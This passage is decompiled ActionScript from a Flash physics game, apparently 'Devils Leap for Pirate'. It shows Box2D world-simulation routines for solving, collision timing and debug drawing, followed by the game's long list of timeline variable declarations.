_local7.Set((1 / _local6.m_quantizationFactor.x), (1 / _local6.m_quantizationFactor.y));
_local10.Set(0.9, 0.3, 0.9);
_local2 = 0;
while (_local2 < b2Settings.b2_maxProxies) {
_local22 = _local6.m_proxyPool[_local2];
if (_local22.IsValid() == false){
} else {
_local12.lowerBound.x = (_local20.x + (_local7.x * _local6.m_bounds[0][_local22.lowerBounds[0]].value));
_local12.lowerBound.y = (_local20.y + (_local7.y * _local6.m_bounds[1][_local22.lowerBounds[1]].value));
_local12.upperBound.x = (_local20.x + (_local7.x * _local6.m_bounds[0][_local22.upperBounds[0]].value));
_local12.upperBound.y = (_local20.y + (_local7.y * _local6.m_bounds[1][_local22.upperBounds[1]].value));
_local14[0].Set(_local12.lowerBound.x, _local12.lowerBound.y);
_local14[1].Set(_local12.upperBound.x, _local12.lowerBound.y);
_local14[2].Set(_local12.upperBound.x, _local12.upperBound.y);
_local14[3].Set(_local12.lowerBound.x, _local12.upperBound.y);
m_debugDraw.DrawPolygon(_local14, 4, _local10);
};
_local2++;
};
_local14[0].Set(_local20.x, _local20.y);
_local14[1].Set(_local21.x, _local20.y);
_local14[2].Set(_local21.x, _local21.y);
_local14[3].Set(_local20.x, _local21.y);
m_debugDraw.DrawPolygon(_local14, 4, new b2Color(0.3, 0.9, 0.9));
};
if ((_local1 & b2DebugDraw.e_obbBit)){
_local10.Set(0.5, 0.3, 0.5);
_local3 = m_bodyList;
while (_local3) {
_local11 = _local3.m_xf;
_local4 = _local3.GetShapeList();
while (_local4) {
if (_local4.m_type != b2Shape.e_polygonShape){
} else {
_local23 = (_local4 as b2PolygonShape);
_local24 = _local23.GetOBB();
_local25 = _local24.extents;
_local14[0].Set(-(_local25.x), -(_local25.y));
_local14[1].Set(_local25.x, -(_local25.y));
_local14[2].Set(_local25.x, _local25.y);
_local14[3].Set(-(_local25.x), _local25.y);
_local2 = 0;
while (_local2 < 4) {
_local26 = _local24.R;
_local27 = _local14[_local2];
_local28 = (_local24.center.x + ((_local26.col1.x * _local27.x) + (_local26.col2.x * _local27.y)));
_local14[_local2].y = (_local24.center.y + ((_local26.col1.y * _local27.x) + (_local26.col2.y * _local27.y)));
_local14[_local2].x = _local28;
_local26 = _local11.R;
_local28 = (_local11.position.x + ((_local26.col1.x * _local27.x) + (_local26.col2.x * _local27.y)));
_local14[_local2].y = (_local11.position.y + ((_local26.col1.y * _local27.x) + (_local26.col2.y * _local27.y)));
_local14[_local2].x = _local28;
_local2++;
};
m_debugDraw.DrawPolygon(_local14, 4, _local10);
};
_local4 = _local4.m_next;
};
_local3 = _local3.m_next;
};
};
if ((_local1 & b2DebugDraw.e_centerOfMassBit)){
_local3 = m_bodyList;
while (_local3) {
_local11 = s_xf;
_local11.R = _local3.m_xf.R;
_local11.position = _local3.GetWorldCenter();
m_debugDraw.DrawXForm(_local11);
_local3 = _local3.m_next;
};
};
}
public function DestroyBody(_arg1:b2Body):void{
var _local2:b2JointEdge;
var _local3:b2Shape;
var _local4:b2JointEdge;
var _local5:b2Shape;
if (m_lock == true){
return;
};
_local2 = _arg1.m_jointList;
while (_local2) {
_local4 = _local2;
_local2 = _local2.next;
if (m_destructionListener){
m_destructionListener.SayGoodbyeJoint(_local4.joint);
};
DestroyJoint(_local4.joint);
};
_local3 = _arg1.m_shapeList;
while (_local3) {
_local5 = _local3;
_local3 = _local3.m_next;
if (m_destructionListener){
m_destructionListener.SayGoodbyeShape(_local5);
};
_local5.DestroyProxy(m_broadPhase);
b2Shape.Destroy(_local5, m_blockAllocator);
};
if (_arg1.m_prev){
_arg1.m_prev.m_next = _arg1.m_next;
};
if (_arg1.m_next){
_arg1.m_next.m_prev = _arg1.m_prev;
};
if (_arg1 == m_bodyList){
m_bodyList = _arg1.m_next;
};
m_bodyCount--;
}
public function SetContactFilter(_arg1:b2ContactFilter):void{
m_contactFilter = _arg1;
}
public function GetGroundBody():b2Body{
return (m_groundBody);
}
public function DrawShape(_arg1:b2Shape, _arg2:b2XForm, _arg3:b2Color, _arg4:Boolean):void{
var _local5:b2Color;
var _local6:b2CircleShape;
var _local7:b2Vec2;
var _local8:Number;
var _local9:b2Vec2;
var _local10:int;
var _local11:b2PolygonShape;
var _local12:int;
var _local13:Array;
var _local14:Array;
var _local15:Array;
_local5 = s_coreColor;
switch (_arg1.m_type){
case b2Shape.e_circleShape:
_local6 = (_arg1 as b2CircleShape);
_local7 = b2Math.b2MulX(_arg2, _local6.m_localPosition);
_local8 = _local6.m_radius;
_local9 = _arg2.R.col1;
m_debugDraw.DrawSolidCircle(_local7, _local8, _local9, _arg3);
if (_arg4){
m_debugDraw.DrawCircle(_local7, (_local8 - b2Settings.b2_toiSlop), _local5);
};
break;
case b2Shape.e_polygonShape:
_local11 = (_arg1 as b2PolygonShape);
_local12 = _local11.GetVertexCount();
_local13 = _local11.GetVertices();
_local14 = new Array(b2Settings.b2_maxPolygonVertices);
_local10 = 0;
while (_local10 < _local12) {
_local14[_local10] = b2Math.b2MulX(_arg2, _local13[_local10]);
_local10++;
};
m_debugDraw.DrawSolidPolygon(_local14, _local12, _arg3);
if (_arg4){
_local15 = _local11.GetCoreVertices();
_local10 = 0;
while (_local10 < _local12) {
_local14[_local10] = b2Math.b2MulX(_arg2, _local15[_local10]);
_local10++;
};
m_debugDraw.DrawPolygon(_local14, _local12, _local5);
};
break;
};
}
public function GetContactCount():int{
return (m_contactCount);
}
public function Solve(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Island;
var _local4:b2Contact;
var _local5:b2Joint;
var _local6:int;
var _local7:Array;
var _local8:b2Body;
var _local9:int;
var _local10:int;
var _local11:b2Body;
var _local12:b2ContactEdge;
var _local13:b2JointEdge;
var _local14:Boolean;
m_positionIterationCount = 0;
_local3 = new b2Island(m_bodyCount, m_contactCount, m_jointCount, m_stackAllocator, m_contactListener);
_local2 = m_bodyList;
while (_local2) {
_local2.m_flags = (_local2.m_flags & ~(b2Body.e_islandFlag));
_local2 = _local2.m_next;
};
_local4 = m_contactList;
while (_local4) {
_local4.m_flags = (_local4.m_flags & ~(b2Contact.e_islandFlag));
_local4 = _local4.m_next;
};
_local5 = m_jointList;
while (_local5) {
_local5.m_islandFlag = false;
_local5 = _local5.m_next;
};
_local6 = m_bodyCount;
_local7 = new Array(_local6);
_local8 = m_bodyList;
while (_local8) {
if ((_local8.m_flags & ((b2Body.e_islandFlag | b2Body.e_sleepFlag) | b2Body.e_frozenFlag))){
} else {
if (_local8.IsStatic()){
} else {
_local3.Clear();
_local9 = 0;
var _temp1 = _local9;
_local9 = (_local9 + 1);
var _local15 = _temp1;
_local7[_local15] = _local8;
_local8.m_flags = (_local8.m_flags | b2Body.e_islandFlag);
while (_local9 > 0) {
--_local9;
_local2 = _local7[_local9];
_local3.AddBody(_local2);
_local2.m_flags = (_local2.m_flags & ~(b2Body.e_sleepFlag));
if (_local2.IsStatic()){
} else {
_local12 = _local2.m_contactList;
while (_local12) {
if ((_local12.contact.m_flags & (b2Contact.e_islandFlag | b2Contact.e_nonSolidFlag))){
} else {
if (_local12.contact.m_manifoldCount == 0){
} else {
_local3.AddContact(_local12.contact);
_local12.contact.m_flags = (_local12.contact.m_flags | b2Contact.e_islandFlag);
_local11 = _local12.other;
if ((_local11.m_flags & b2Body.e_islandFlag)){
} else {
var _temp2 = _local9;
_local9 = (_local9 + 1);
var _local16 = _temp2;
_local7[_local16] = _local11;
_local11.m_flags = (_local11.m_flags | b2Body.e_islandFlag);
};
};
};
_local12 = _local12.next;
};
_local13 = _local2.m_jointList;
while (_local13) {
if (_local13.joint.m_islandFlag == true){
} else {
_local3.AddJoint(_local13.joint);
_local13.joint.m_islandFlag = true;
_local11 = _local13.other;
if ((_local11.m_flags & b2Body.e_islandFlag)){
} else {
var _temp3 = _local9;
_local9 = (_local9 + 1);
_local16 = _temp3;
_local7[_local16] = _local11;
_local11.m_flags = (_local11.m_flags | b2Body.e_islandFlag);
};
};
_local13 = _local13.next;
};
};
};
_local3.Solve(_arg1, m_gravity, m_positionCorrection, m_allowSleep);
if (_local3.m_positionIterationCount > m_positionIterationCount){
m_positionIterationCount = _local3.m_positionIterationCount;
};
_local10 = 0;
while (_local10 < _local3.m_bodyCount) {
_local2 = _local3.m_bodies[_local10];
if (_local2.IsStatic()){
_local2.m_flags = (_local2.m_flags & ~(b2Body.e_islandFlag));
};
_local10++;
};
};
};
_local8 = _local8.m_next;
};
_local2 = m_bodyList;
while (_local2) {
if ((_local2.m_flags & (b2Body.e_sleepFlag | b2Body.e_frozenFlag))){
} else {
if (_local2.IsStatic()){
} else {
_local14 = _local2.SynchronizeShapes();
if ((((_local14 == false)) && (!((m_boundaryListener == null))))){
m_boundaryListener.Violation(_local2);
};
};
};
_local2 = _local2.m_next;
};
m_broadPhase.Commit();
}
public function Query(_arg1:b2AABB, _arg2:Array, _arg3:int):int{
var _local4:Array;
var _local5:int;
var _local6:int;
_local4 = new Array(_arg3);
_local5 = m_broadPhase.QueryAABB(_arg1, _local4, _arg3);
_local6 = 0;
while (_local6 < _local5) {
_arg2[_local6] = _local4[_local6];
_local6++;
};
return (_local5);
}
public function SetGravity(_arg1:b2Vec2):void{
m_gravity = _arg1;
}
public function SolveTOI(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Shape;
var _local4:b2Shape;
var _local5:b2Body;
var _local6:b2Body;
var _local7:b2ContactEdge;
var _local8:b2Island;
var _local9:int;
var _local10:Array;
var _local11:b2Contact;
var _local12:b2Contact;
var _local13:Number;
var _local14:b2Body;
var _local15:int;
var _local16:b2TimeStep;
var _local17:int;
var _local18:Number;
var _local19:Number;
var _local20:b2Body;
var _local21:Boolean;
_local8 = new b2Island(m_bodyCount, b2Settings.b2_maxTOIContactsPerIsland, 0, m_stackAllocator, m_contactListener);
_local9 = m_bodyCount;
_local10 = new Array(_local9);
_local2 = m_bodyList;
while (_local2) {
_local2.m_flags = (_local2.m_flags & ~(b2Body.e_islandFlag));
_local2.m_sweep.t0 = 0;
_local2 = _local2.m_next;
};
_local11 = m_contactList;
while (_local11) {
_local11.m_flags = (_local11.m_flags & ~((b2Contact.e_toiFlag | b2Contact.e_islandFlag)));
_local11 = _local11.m_next;
};
while (true) {
_local12 = null;
_local13 = 1;
_local11 = m_contactList;
for (;_local11;(_local11 = _local11.m_next)) {
if ((_local11.m_flags & (b2Contact.e_slowFlag | b2Contact.e_nonSolidFlag))){
} else {
_local18 = 1;
if ((_local11.m_flags & b2Contact.e_toiFlag)){
_local18 = _local11.m_toi;
} else {
_local3 = _local11.m_shape1;
_local4 = _local11.m_shape2;
_local5 = _local3.m_body;
_local6 = _local4.m_body;
if (((((_local5.IsStatic()) || (_local5.IsSleeping()))) && (((_local6.IsStatic()) || (_local6.IsSleeping()))))){
continue;
};
_local19 = _local5.m_sweep.t0;
if (_local5.m_sweep.t0 < _local6.m_sweep.t0){
_local19 = _local6.m_sweep.t0;
_local5.m_sweep.Advance(_local19);
} else {
if (_local6.m_sweep.t0 < _local5.m_sweep.t0){
_local19 = _local5.m_sweep.t0;
_local6.m_sweep.Advance(_local19);
};
};
_local18 = b2TimeOfImpact.TimeOfImpact(_local11.m_shape1, _local5.m_sweep, _local11.m_shape2, _local6.m_sweep);
if ((((_local18 > 0)) && ((_local18 < 1)))){
_local18 = (((1 - _local18) * _local19) + _local18);
if (_local18 > 1){
_local18 = 1;
};
};
_local11.m_toi = _local18;
_local11.m_flags = (_local11.m_flags | b2Contact.e_toiFlag);
};
if ((((Number.MIN_VALUE < _local18)) && ((_local18 < _local13)))){
_local12 = _local11;
_local13 = _local18;
};
};
};
if ((((_local12 == null)) || (((1 - (100 * Number.MIN_VALUE)) < _local13)))){
break;
};
_local3 = _local12.m_shape1;
_local4 = _local12.m_shape2;
_local5 = _local3.m_body;
_local6 = _local4.m_body;
_local5.Advance(_local13);
_local6.Advance(_local13);
_local12.Update(m_contactListener);
_local12.m_flags = (_local12.m_flags & ~(b2Contact.e_toiFlag));
if (_local12.m_manifoldCount == 0){
} else {
_local14 = _local5;
if (_local14.IsStatic()){
_local14 = _local6;
};
_local8.Clear();
_local15 = 0;
var _temp1 = _local15;
_local15 = (_local15 + 1);
var _local22 = _temp1;
_local10[_local22] = _local14;
_local14.m_flags = (_local14.m_flags | b2Body.e_islandFlag);
while (_local15 > 0) {
--_local15;
_local2 = _local10[_local15];
_local8.AddBody(_local2);
_local2.m_flags = (_local2.m_flags & ~(b2Body.e_sleepFlag));
if (_local2.IsStatic()){
} else {
_local7 = _local2.m_contactList;
while (_local7) {
if (_local8.m_contactCount == _local8.m_contactCapacity){
} else {
if ((_local7.contact.m_flags & ((b2Contact.e_islandFlag | b2Contact.e_slowFlag) | b2Contact.e_nonSolidFlag))){
} else {
if (_local7.contact.m_manifoldCount == 0){
} else {
_local8.AddContact(_local7.contact);
_local7.contact.m_flags = (_local7.contact.m_flags | b2Contact.e_islandFlag);
_local20 = _local7.other;
if ((_local20.m_flags & b2Body.e_islandFlag)){
} else {
if (_local20.IsStatic() == false){
_local20.Advance(_local13);
_local20.WakeUp();
};
var _temp2 = _local15;
_local15 = (_local15 + 1);
var _local23 = _temp2;
_local10[_local23] = _local20;
_local20.m_flags = (_local20.m_flags | b2Body.e_islandFlag);
};
};
};
};
_local7 = _local7.next;
};
};
};
_local16 = new b2TimeStep();
_local16.dt = ((1 - _local13) * _arg1.dt);
_local16.inv_dt = (1 / _local16.dt);
_local16.maxIterations = _arg1.maxIterations;
_local8.SolveTOI(_local16);
_local17 = 0;
while (_local17 < _local8.m_bodyCount) {
_local2 = _local8.m_bodies[_local17];
_local2.m_flags = (_local2.m_flags & ~(b2Body.e_islandFlag));
if ((_local2.m_flags & (b2Body.e_sleepFlag | b2Body.e_frozenFlag))){
} else {
if (_local2.IsStatic()){
} else {
_local21 = _local2.SynchronizeShapes();
if ((((_local21 == false)) && (!((m_boundaryListener == null))))){
m_boundaryListener.Violation(_local2);
};
_local7 = _local2.m_contactList;
while (_local7) {
_local7.contact.m_flags = (_local7.contact.m_flags & ~(b2Contact.e_toiFlag));
_local7 = _local7.next;
};
};
};
_local17++;
};
_local17 = 0;
while (_local17 < _local8.m_contactCount) {
_local11 = _local8.m_contacts[_local17];
_local8.m_contacts[_local17].m_flags = (_local11.m_flags & ~((b2Contact.e_toiFlag | b2Contact.e_islandFlag)));
_local17++;
};
m_broadPhase.Commit();
};
};
}
public function GetJointList():b2Joint{
return (m_jointList);
}
public function Validate():void{
m_broadPhase.Validate();
}
public function GetPairCount():int{
return (m_broadPhase.m_pairManager.m_pairCount);
}
public function GetBodyList():b2Body{
return (m_bodyList);
}
public function SetWarmStarting(_arg1:Boolean):void{
m_warmStarting = _arg1;
}
public function SetPositionCorrection(_arg1:Boolean):void{
m_positionCorrection = _arg1;
}
public function CreateJoint(_arg1:b2JointDef):b2Joint{
var _local2:b2Joint;
var _local3:b2Body;
var _local4:b2Shape;
_local2 = b2Joint.Create(_arg1, m_blockAllocator);
_local2.m_prev = null;
_local2.m_next = m_jointList;
if (m_jointList){
m_jointList.m_prev = _local2;
};
m_jointList = _local2;
m_jointCount++;
_local2.m_node1.joint = _local2;
_local2.m_node1.other = _local2.m_body2;
_local2.m_node1.prev = null;
_local2.m_node1.next = _local2.m_body1.m_jointList;
if (_local2.m_body1.m_jointList){
_local2.m_body1.m_jointList.prev = _local2.m_node1;
};
_local2.m_body1.m_jointList = _local2.m_node1;
_local2.m_node2.joint = _local2;
_local2.m_node2.other = _local2.m_body1;
_local2.m_node2.prev = null;
_local2.m_node2.next = _local2.m_body2.m_jointList;
if (_local2.m_body2.m_jointList){
_local2.m_body2.m_jointList.prev = _local2.m_node2;
};
_local2.m_body2.m_jointList = _local2.m_node2;
if (_arg1.collideConnected == false){
_local3 = ((_arg1.body1.m_shapeCount < _arg1.body2.m_shapeCount)) ? _arg1.body1 : _arg1.body2;
_local4 = _local3.m_shapeList;
while (_local4) {
_local4.RefilterProxy(m_broadPhase, _local3.m_xf);
_local4 = _local4.m_next;
};
};
return (_local2);
}
public function DestroyJoint(_arg1:b2Joint):void{
var _local2:Boolean;
var _local3:b2Body;
var _local4:b2Body;
var _local5:b2Body;
var _local6:b2Shape;
_local2 = _arg1.m_collideConnected;
if (_arg1.m_prev){
_arg1.m_prev.m_next = _arg1.m_next;
};
if (_arg1.m_next){
_arg1.m_next.m_prev = _arg1.m_prev;
};
if (_arg1 == m_jointList){
m_jointList = _arg1.m_next;
};
_local3 = _arg1.m_body1;
_local4 = _arg1.m_body2;
_local3.WakeUp();
_local4.WakeUp();
if (_arg1.m_node1.prev){
_arg1.m_node1.prev.next = _arg1.m_node1.next;
};
if (_arg1.m_node1.next){
_arg1.m_node1.next.prev = _arg1.m_node1.prev;
};
if (_arg1.m_node1 == _local3.m_jointList){
_local3.m_jointList = _arg1.m_node1.next;
};
_arg1.m_node1.prev = null;
_arg1.m_node1.next = null;
if (_arg1.m_node2.prev){
_arg1.m_node2.prev.next = _arg1.m_node2.next;
};
if (_arg1.m_node2.next){
_arg1.m_node2.next.prev = _arg1.m_node2.prev;
};
if (_arg1.m_node2 == _local4.m_jointList){
_local4.m_jointList = _arg1.m_node2.next;
};
_arg1.m_node2.prev = null;
_arg1.m_node2.next = null;
b2Joint.Destroy(_arg1, m_blockAllocator);
m_jointCount--;
if (_local2 == false){
_local5 = ((_local3.m_shapeCount < _local4.m_shapeCount)) ? _local3 : _local4;
_local6 = _local5.m_shapeList;
while (_local6) {
_local6.RefilterProxy(m_broadPhase, _local5.m_xf);
_local6 = _local6.m_next;
};
};
}
public function SetContactListener(_arg1:b2ContactListener):void{
m_contactListener = _arg1;
}
public function CreateBody(_arg1:b2BodyDef):b2Body{
var _local2:b2Body;
if (m_lock == true){
return (null);
};
_local2 = new b2Body(_arg1, this);
_local2.m_prev = null;
_local2.m_next = m_bodyList;
if (m_bodyList){
m_bodyList.m_prev = _local2;
};
m_bodyList = _local2;
m_bodyCount++;
return (_local2);
}
public function SetBoundaryListener(_arg1:b2BoundaryListener):void{
m_boundaryListener = _arg1;
}
public function SetDestructionListener(_arg1:b2DestructionListener):void{
m_destructionListener = _arg1;
}
public function Step(_arg1:Number, _arg2:int):void{
var _local3:b2TimeStep;
m_lock = true;
_local3 = new b2TimeStep();
_local3.dt = _arg1;
_local3.maxIterations = _arg2;
if (_arg1 > 0){
_local3.inv_dt = (1 / _arg1);
} else {
_local3.inv_dt = 0;
};
_local3.dtRatio = (m_inv_dt0 * _arg1);
_local3.positionCorrection = m_positionCorrection;
_local3.warmStarting = m_warmStarting;
m_contactManager.Collide();
if (_local3.dt > 0){
Solve(_local3);
};
if (((m_continuousPhysics) && ((_local3.dt > 0)))){
SolveTOI(_local3);
};
DrawDebugData();
m_inv_dt0 = _local3.inv_dt;
m_lock = false;
}
public function GetBodyCount():int{
return (m_bodyCount);
}
public function GetJointCount():int{
return (m_jointCount);
}
}
}//package Box2D.Dynamics
Section 77
//dark_16 (DevilsleapforPirate_fla.dark_16)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class dark_16 extends MovieClip {
public function dark_16(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 78
//MainTimeline (DevilsleapforPirate_fla.MainTimeline)
package DevilsleapforPirate_fla {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.Joints.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Common.*;
import Box2D.Dynamics.Contacts.*;
import flash.display.*;
import flash.events.*;
import flash.media.*;
import flash.text.*;
import flash.net.*;
import flash.system.*;
import adobe.utils.*;
import flash.accessibility.*;
import flash.errors.*;
import flash.external.*;
import flash.filters.*;
import flash.geom.*;
import flash.printing.*;
import flash.ui.*;
import flash.utils.*;
import flash.xml.*;
public dynamic class MainTimeline extends MovieClip {
public var dim35_cl:MovieClip;
public var hero:hero_cl;
public var loaded:uint;
public var gro1_sh;
public var ugol:Number;
public var gro2_def;
public var lev3_5:MovieClip;
public var dim47_cl:MovieClip;
public var dim13_cl:MovieClip;
public var gro10_cl:MovieClip;
public var dim22_def;
public var dim33_def;
public var dim53_sh;
public var stena2:MovieClip;
public var stena4:MovieClip;
public var stena5:MovieClip;
public var stena6:MovieClip;
public var stena1:MovieClip;
public var dim8_sh;
public var again_srab:int;
public var stena3:MovieClip;
public var dim65_sh;
public var cel:int;
public var dim59_cl:MovieClip;
public var zvukReg:Boolean;
public var dim25_cl:MovieClip;
public var pricel:pricel_cl;
public var lev1_1:MovieClip;
public var lev1_2:MovieClip;
public var lev1_3:MovieClip;
public var lev1_4:MovieClip;
public var lev1_5:MovieClip;
public var lev1_6:MovieClip;
public var lev1_7:MovieClip;
public var lev1_8:MovieClip;
public var dim55_def;
public var dim31_sh;
public var j:Number;
public var dim7_def;
public var gro7_cl:MovieClip;
public var dim44_def;
public var dim3_cl:MovieClip;
public var dim10_def;
public var dim60_cl:MovieClip;
public var i:Number;
public var dim21_def;
public var vracenie:Number;
public var gro1_def;
public var dim43_sh;
public var panel_da:MovieClip;
public var dim37_cl:MovieClip;
public var m:int;
public var dim10;
public var dim11;
public var dim12;
public var dim14;
public var dim15;
public var dim16;
public var dim17;
public var dim18;
public var dim19;
public var dim13;
public var mas_ground:Array;
public var dim32_def;
public var gro3_sh;
public var dim20;
public var dim21;
public var dim22;
public var dim23;
public var dim24;
public var dim25;
public var dim21_sh;
public var dim29;
public var dim28;
public var dim49_cl:MovieClip;
public var dim15_cl:MovieClip;
public var zvuk_bt:SimpleButton;
public var gro12_cl:MovieClip;
public var dim30;
public var dim31;
public var dim32;
public var dim33;
public var dim34;
public var dim36;
public var dim37;
public var dim38;
public var dim26;
public var dim27;
public var dim39;
public var dim35;
public var dim6_def;
public var dim40;
public var dim50_cl:MovieClip;
public var dim42;
public var dim43;
public var dim45;
public var dim47;
public var dim49;
public var dim44;
public var dim46;
public var dim55_sh;
public var gro9_cl:MovieClip;
public var dim41;
public var dim27_cl:MovieClip;
public var dim65_def;
public var nap:int;
public var dim50;
public var dim20_def;
public var dim52;
public var pomoc_cl:MovieClip;
public var dim55;
public var dim51;
public var dim31_def;
public var dim33_sh;
public var dim57;
public var dim58;
public var dim54_def;
public var dim53;
public var dim48;
public var defeat:int;
public var dim5_cl:MovieClip;
public var dim54;
public var dim56;
public var dim60;
public var dim61;
public var dim62_cl:MovieClip;
public var dim63;
public var dim65;
public var dim11_sh;
public var dim64;
public var dim43_def;
public var dim42_def;
public var play_cl:MovieClip;
public var dim39_cl:MovieClip;
public var dim62;
public var dim5_def;
public var dim53_def;
public var score_game:Number;
public var dim59;
public var gro5_sh;
public var dim40_cl:MovieClip;
public var dim23_sh;
public var again_bt:SimpleButton;
public var more_cl:MovieClip;
public var ang1:MovieClip;
public var ang2:MovieClip;
public var ang3:MovieClip;
public var ang4:MovieClip;
public var ang5:MovieClip;
public var ang6:MovieClip;
public var gro14_cl:MovieClip;
public var dim57_sh;
public var dim64_def;
public var dim17_cl:MovieClip;
public var dim45_sh;
public var dim1_sh;
public var rnd_for:Number;
public var dim30_def;
public var dim52_cl:MovieClip;
public var pos_hero_x:int;
public var dim41_def;
public var pos_hero_y:int;
public var dim29_cl:MovieClip;
public var cra_200:cra_200_cl;
public var dim35_sh;
public var polet_tt:int;
public var dim52_def;
public var dim4_def;
public var dim7_cl:MovieClip;
public var dim64_cl:MovieClip;
public var dim30_cl:MovieClip;
public var dim47_sh;
public var dim63_def;
public var gro10_sh;
public var dim13_sh;
public var damok_da3:damok_cl3;
public var damok_da2:damok_cl2;
public var gro7_sh;
public var dim40_def;
public var zagal:int;
public var dim25_sh;
public var dim42_cl:MovieClip;
public var gravity:b2Vec2;
public var dim19_cl:MovieClip;
public var plama:fire_cl;
public var gro16_cl:MovieClip;
public var dim59_sh;
public var dim3_sh;
public var dim51_def;
public var dim3_def;
public var dim60_sh;
public var gro2_cl:MovieClip;
public var dim54_cl:MovieClip;
public var dim20_cl:MovieClip;
public var dim62_def;
public var dim37_sh;
public var per_popal_gr:Number;
public var dim9_cl:MovieClip;
public var asdasd:Number;
public var dim32_cl:MovieClip;
public var sprite:MovieClip;
public var borderWorld:b2AABB;
public var dim49_sh;
public var gro12_sh;
public var dim15_sh;
public var i_in4:String;
public var i_in2:String;
public var i_in3:String;
public var dim50_def;
public var dim2_def;
public var dim50_sh;
public var gro9_sh;
public var dim44_cl:MovieClip;
public var dim10_cl:MovieClip;
public var pos_hero:int;
public var dim61_def;
public var st_cl:MovieClip;
public var kol_cel:int;
public var dim5_sh;
public var dim27_sh;
public var dim62_sh;
public var gro4_cl:MovieClip;
public var dim22_cl:MovieClip;
public var total:uint;
public var scet_dim:Number;
public var dim56_cl:MovieClip;
public var score_tx:TextField;
public var dim39_sh;
public var dim1_def;
public var dim40_sh;
public var dim34_cl:MovieClip;
public var dim17_sh;
public var dim60_def;
public var world:b2World;
public var gro14_sh;
public var polosa_zagr:MovieClip;
public var vorota:MovieClip;
public var dim52_sh;
public var per_cra:int;
public var home_bt:SimpleButton;
public var fakel:fakel_cl;
public var dim46_cl:MovieClip;
public var dim12_cl:MovieClip;
public var per_pla:int;
public var dim29_sh;
public var pomoc_cl2:MovieClip;
public var gro1;
public var gro2;
public var gro3;
public var gro4;
public var gro5;
public var gro6;
public var gro7;
public var gro9;
public var gro8;
public var pomoc_cl3:MovieClip;
public var win:win_cl;
public var dim7_sh;
public var sav:SharedObject;
public var dim64_sh;
public var dim30_sh;
public var dim19_def;
public var gro6_cl:MovieClip;
public var dim24_cl:MovieClip;
public var game;
public var dim58_cl:MovieClip;
public var dim2_cl:MovieClip;
public var lev2_1:MovieClip;
public var lev2_2:MovieClip;
public var lev2_3:MovieClip;
public var lev2_4:MovieClip;
public var lev2_5:MovieClip;
public var lev2_6:MovieClip;
public var lev2_7:MovieClip;
public var lev2_8:MovieClip;
public var cra_5000:cra_5000_cl;
public var dim42_sh;
public var damok_da:damok_cl;
public var dim36_cl:MovieClip;
public var worldAxis2:b2Vec2;
public var bb:b2Body;
public var dim19_sh;
public var gro16_sh;
public var gro2_sh;
public var dim54_sh;
public var dim20_sh;
public var time_start:int;
public var dim18_def;
public var dim48_cl:MovieClip;
public var dim14_cl:MovieClip;
public var gro11_cl:MovieClip;
public var b2_pi:Number;
public var dim29_def;
public var gro9_def;
public var dim9_sh;
public var dim1;
public var dim2;
public var dim3;
public var dim4;
public var dim5;
public var dim6;
public var dim7;
public var dim9;
public var gro8_cl:MovieClip;
public var dim26_cl:MovieClip;
public var dim8;
public var dx:Number;
public var perBall:int;
public var dim32_sh;
public var i_in:String;
public var smert;
public var dy:Number;
public var gro16_def;
public var dim4_cl:MovieClip;
public var mas_balka_giz:Array;
public var dim61_cl:MovieClip;
public var dim44_sh;
public var dim10_sh;
public var cred_cl:MovieClip;
public var dim38_cl:MovieClip;
public var dim17_def;
public var cra_500:cra_500_cl;
public var dim28_def;
public var gro8_def;
public var sky:MovieClip;
public var gro4_sh;
public var dim56_sh;
public var dim22_sh;
public var dim39_def;
public var iterations:int;
public var dim16_cl:MovieClip;
public var gro13_cl:MovieClip;
public var gro15_def;
public var fakel_dada:int;
public var rnd_for_mas:Number;
public var defeat2:defeat_cl;
public var dim51_cl:MovieClip;
public var dim34_sh;
public var dim16_def;
public var dim28_cl:MovieClip;
public var dim27_def;
public var cra_300:cra_300_cl;
public var gro7_def;
public var dim6_cl:MovieClip;
public var usk:Number;
public var dist:Number;
public var dim63_cl:MovieClip;
public var dim12_sh;
public var dim46_sh;
public var dim38_def;
public var obuc_cl:MovieClip;
public var gro14_def;
public var dim49_def;
public var gro6_sh;
public var dim41_cl:MovieClip;
public var dim24_sh;
public var dim58_sh;
public var dim15_def;
public var dim18_cl:MovieClip;
public var gro10;
public var gro11;
public var gro12;
public var gro13;
public var gro15_cl:MovieClip;
public var gro15;
public var gro16;
public var dim2_sh;
public var cra_100:cra_100_cl;
public var dim26_def;
public var gro14;
public var gro6_def;
public var start_hoho:int;
public var gro1_cl:MovieClip;
public var dim53_cl:MovieClip;
public var dim36_sh;
public var dim37_def;
public var cloud:MovieClip;
public var zvuk_c:SoundChannel;
public var gro13_def;
public var perDamok:int;
public var dim48_def;
public var worldAxis:b2Vec2;
public var dim8_cl:MovieClip;
public var pirate:MovieClip;
public var dim65_cl:MovieClip;
public var dim31_cl:MovieClip;
public var pausa_game:pausa_game_cl;
public var dim48_sh;
public var dim14_sh;
public var dxx:Number;
public var zvuk_z:Sound;
public var dim14_def;
public var dim59_def;
public var kol_hero:int;
public var _vel233:b2Vec2;
public var _vel234:b2Vec2;
public var gro11_sh;
public var _vel232:b2Vec2;
public var _vel231:b2Vec2;
public var dyy:Number;
public var bodiesList;
public var dim25_def;
public var gro5_def;
public var gro8_sh;
public var dim43_cl:MovieClip;
public var dim26_sh;
public var back_bt:SimpleButton;
public var hero_fly:int;
public var dim36_def;
public var dev1:MovieClip;
public var dev2:MovieClip;
public var dev3:MovieClip;
public var gro12_def;
public var dim4_sh;
public var dim47_def;
public var molnia:Number;
public var gro3_cl:MovieClip;
public var cra_test:int;
public var dim55_cl:MovieClip;
public var dim21_cl:MovieClip;
public var dim38_sh;
public var dim61_sh;
public var bt_more_game:SimpleButton;
public var dim13_def;
public var dim58_def;
public var mas_cra:Array;
public var mas_pla:Array;
public var dim24_def;
public var gro4_def;
public var hero_ex:int;
public var sp_x:Number;
public var dim33_cl:MovieClip;
public var sp_y:Number;
public var dim16_sh;
public var dim35_def;
public var kol_hero_tx:TextField;
public var gro13_sh;
public var timeStep:Number;
public var grom_zv:int;
public var mas_balka:Array;
public var devil_def;
public var dim46_def;
public var dim51_sh;
public var kol_dim:int;
